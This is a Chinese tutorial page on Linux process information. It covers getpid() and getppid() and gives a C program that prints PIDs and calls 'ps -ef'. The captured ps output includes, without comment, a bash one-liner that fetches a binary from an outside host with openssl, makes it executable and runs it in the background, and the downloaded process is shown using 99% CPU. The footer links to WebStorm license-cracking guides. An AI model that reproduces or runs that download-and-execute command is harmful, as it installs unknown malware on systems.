首页 > 系统相关 >无涯教程-进程 - 信息

无涯教程-进程 - 信息

时间:2023-08-26 14:32:43浏览次数:31  
标签:教程 调用 00 process 05 无涯 进程 ID

在进入进程信息之前,我们需要了解一些事情,例如-

    什么是进程?  进程是正在执行的程序。

    什么是程序?  程序是一个文件,其中包含进程的信息以及在运行时如何进行构建。当您开始执行程序时,它将被加载到RAM中并开始执行。

每个进程都用唯一的正整数标识,称为进程ID或简称为PID(进程标识号),内核通常将进程ID限制为32767,这是可配置的。当进程ID达到此限制时,它将在系统进程范围之后再次重置,然后将该计数器中未使用的进程ID分配给新创建的进程。

系统调用getpid()返回调用进程的进程ID。

#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void);

此调用返回保证唯一的调用进程的进程ID。此调用始终成功,因此没有返回值指示错误。

每个进程都有其唯一的ID,称为进程ID,但是谁创建了它呢?如何获取有关其创建者的信息?创建者进程称为父进程,可以通过getppid()调用获取父ID。

系统调用getppid()返回调用进程的父PID。

#include <sys/types.h>
#include <unistd.h>

pid_t getppid(void);

该调用返回调用进程的父进程ID,此调用始终成功,因此没有返回值指示错误。

让我们用一个简单的例子来理解这一点,以下是一个了解调用进程的PID和PPID的程序。

File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   int mypid, myppid;
   printf("Program to know PID and PPID's information\n");
   mypid = getpid();
   myppid = getppid();
   printf("My process ID is %d\n", mypid);
   printf("My parent process ID is %d\n", myppid);
   printf("Cross verification of pid's by executing process commands on shell\n");
   system("ps -ef");
   return 0;
}

编译并执行上述程序后,将输出以下内容。

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0  2017 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0  2017 ?        00:06:06 /usr/libexec/mysqld 
                                         --basedir=/usr 
                                         --datadir=/var/lib/mysql 
                                         --plugin-dir=/usr/lib64/mysql/plugin 
                                         --user=mysql 
                                         --log-error=/var/log/mariadb/mariadb.log 
                                         --pid-file=/run/mariadb/mariadb.pid 
                                         --socket=/var/lib/mysql/mysql.sock
2868535   96284      0  0 05:23 ?        00:00:00 bash -c download() { 
                                         flag="false" hsize=1 
                                         echo -e "GET /$2 HTTP/1.1\nHost: 
                                         $1\nConnection: close\n\n" | 
                                         openssl s_client -timeout -quiet 
                                         -verify_quiet -connect $1:443 2> 
                                         /dev/null | tee out | while read line do
                                         if [[ "$flag" == "false" ]]     
                                         then 
                                         hsize=$((hsize+$(echo $line | wc -c)))
                                         fi
                                         if [[ "${line:1:1}" == "" ]]     
                                         then flag="true"
                                         fi 
                                         echo $hsize > 
                                         size done tail -c +$(cat size) out > 
                                         $2 rm size out }
                                         ( download my.mixtape.moe mhawum 2>
                                         /dev/null chmod +x mhawum 2>
                                         /dev/null ./mhawum >
                                         /dev/null 2>
                                         /dev/null )&
2868535   96910  96284 99 05:23 ?        00:47:26 ./mhawum
6118874  104116      0  3 05:25 ?        00:00:00 sh -c cd /home/cg/root/6118874; 
                                         timeout 10s javac Puppy.java
6118874  104122 104116  0 05:25 ?        00:00:00 timeout 10s javac Puppy.java
6118874  104123 104122 23 05:25 ?        00:00:00 javac Puppy.java
3787205  104169      0  0 05:25 ?        00:00:00 sh -c cd /home/cg/root/3787205; 
                                         timeout 10s main
3787205  104175 104169  0 05:25 ?        00:00:00 timeout 10s main
3787205  104176 104175  0 05:25 ?        00:00:00 main
3787205  104177 104176  0 05:25 ?        00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell

注意-" C"库函数system()执行shell命令,传递给system()的参数是在shell上执行的命令,在上面的程序中,命令是" ps",它给出了进程状态。

可从/proc位置上的proc文件系统访问有关所有正在运行的进程的完整信息以及其他与系统相关的信息。

参考链接

https://www.learnfk.com/process/inter-process-communication-process-information.html

标签:教程,调用,00,process,05,无涯,进程,ID
From: https://blog.51cto.com/u_14033984/7243996

相关文章

  • Webstorm 免费激活教程(2023最新,亲测有效)
    Webstorm是jetbrains公司旗下一款JavaScript开发工具。被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScriptIDE”等。Webstorm目前已经更新到最新的2023.2版本了,许多小伙伴私聊问我,为啥之前2021.3.1的激活套路对新版本2023.2......
  • Webstorm 最新激活教程,亲测有效
    本激活教程适用Windows/Mac/Linux系统,文中以Windows系统为例做讲解,其他系统按照教程顺序即可。下载最新的Webstorm2023.2版本安装包我们先从Webstorm官网下载Webstorm2023.2版本的安装包,下载链接如下:https://www.jetbrains.com/webstorm/download点击下载,静心等待......
  • 无涯教程-Python - XML处理
    XML是一种可移植的开放源语言,它使程序员能够开发可由其他应用程序读取的应用程序,而无需考虑操作系统和/或开发语言。可扩展标签语言(XML)是一种类似于HTML或SGML的标签语言。万维网联盟建议这样做,并且可以作为开放标准使用。XML对跟踪少量到中等数量的数据而无需基于SQL的主干......
  • 【Matlab 教程】-01 简介
    1、背景介绍MatrixLaboratory高级编程语言许多有用的toolboxs和内置functions简单的可视化2、课程目标如何使用Matlab编写程序,通过大量实践、实验解决工程上的问题3、课程计划1.简介2.Matlab基本操作与矩阵输入3.结构化程式与自定函数4.变量与文件存......
  • Webstorm2023 下载(附图文激活教程,亲测有效)
    笔者几乎试了网上几乎所有的Webstorm激活方案,发现这种靠谱的激活方法,先上图。第一步:下载最新的Webstorm2023.2版本安装包我们先从Webstorm官网下载Webstorm2023.2版本的安装包,下载链接如下:https://www.jetbrains.com/webstorm/download点击下载,静心等待其下载完......
  • Webstorm 安装使用教程(最新图文教程,亲测有效)
    前言本教程适用Windows/Mac/Linux系统,文中以Windows系统为例做讲解,其他系统按照教程顺序即可。笔者几乎试了网上几乎所有的Webstorm激活方案,发现这种靠谱的激活方法,先上图。第一步:下载最新的Webstorm2023.2版本安装包我们先从Webstorm官网下载Webstorm2023.2......
  • 无涯教程-Python - 多线程
    运行多个线程类似于同时运行多个不同的程序,但具有以下优点-一个进程中的多个线程与主线程共享相同的数据空间,因此比起单进程,它们可以更轻松地共享信息或彼此通信。有时称为轻量级进程的线程,它们不需要太多的内存开销。开始新线程要生成另一个线程,您需要调用thread模块中可......
  • AE2021下载 AE最新版下载+安装包+安装教程 中文版直装
    AfterEffects是视频编辑工作室的领先创作软件,经常用于电影、电视和网络等行业。它可以创建电影视频标题、标题和过渡,从剪辑中删除对象,并支持动画效果。AfterEffects是一款行业标准的动态图形和视觉效果软件,可帮助用户将任何灵感转化为动画。软件地址:看置顶贴AE主要功能图形视......
  • 无涯教程-Python - 邮件发送
    简单邮件传输协议(SMTP)是一种协议,用于处理在邮件服务器之间发送电子邮件和路由电子邮件。Python提供了smtplib模块,该模块定义了SMTP客户端会话对象,该对象可用于MTP或ESMTP侦听器守护程序将邮件发送到任何网络机器。这是创建一个SMTP对象的简单语法,以后可以用于发送电子邮件-......
  • Webstorm 2023.2 最新安装教程(附激活码,亲测有效)
    笔者几乎试了网上几乎所有的Webstorm激活方案,发现这种靠谱的激活方法,先上图。本教程适用Windows/Mac/Linux系统,文中以Windows系统为例做讲解,其他系统按照教程顺序即可。前言Webstorm目前已经更新到最新的2023.2版本了,群里的小伙伴私聊问我,为啥之前2021.3.1的激活套......